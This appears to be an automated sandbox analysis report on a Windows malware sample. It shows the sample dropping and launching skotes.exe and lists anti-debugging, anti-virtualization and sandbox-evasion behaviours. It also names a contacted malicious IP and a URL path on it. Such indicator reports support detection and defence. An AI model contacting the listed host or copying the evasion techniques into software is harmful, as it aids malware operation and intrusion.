behaviorgraph top1 signatures2 2 Behavior Graph ID: 1611803 Sample: W5kZFcSOtE.exe Startdate: 11/02/2025 Architecture: WINDOWS Score: 100 22 Suricata IDS alerts for network traffic 2->22 24 Found malware configuration 2->24 26 Antivirus detection for URL or domain 2->26 28 9 other signatures 2->28 6 W5kZFcSOtE.exe 5 2->6         started        10 skotes.exe 12 2->10         started        process3 dnsIp4 16 C:\Users\user\AppData\Local\...\skotes.exe, PE32 6->16 dropped 18 C:\Users\user\...\skotes.exe:Zone.Identifier, ASCII 6->18 dropped 30 Detected unpacking (changes PE section rights) 6->30 32 Tries to evade debugger and weak emulator (self modifying code) 6->32 34 Tries to detect virtualization through RDTSC time measurements 6->34 13 skotes.exe 6->13         started        20 185.215.113.43, 49737, 49738, 49739 WHOLESALECONNECTIONSNL Portugal 10->20 36 Hides threads from debuggers 10->36 38 Tries to detect sandboxes / dynamic malware analysis system (registry check) 10->38 40 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 10->40 file5 signatures6 process7 signatures8 42 Antivirus detection for dropped file 13->42 44 Multi AV Scanner detection for dropped file 13->44 46 Detected unpacking (changes PE section rights) 13->46 48 8 other signatures 13->48
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.215.113.43
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://185.215.113.43/Zu7JuNko/index.php false
    		high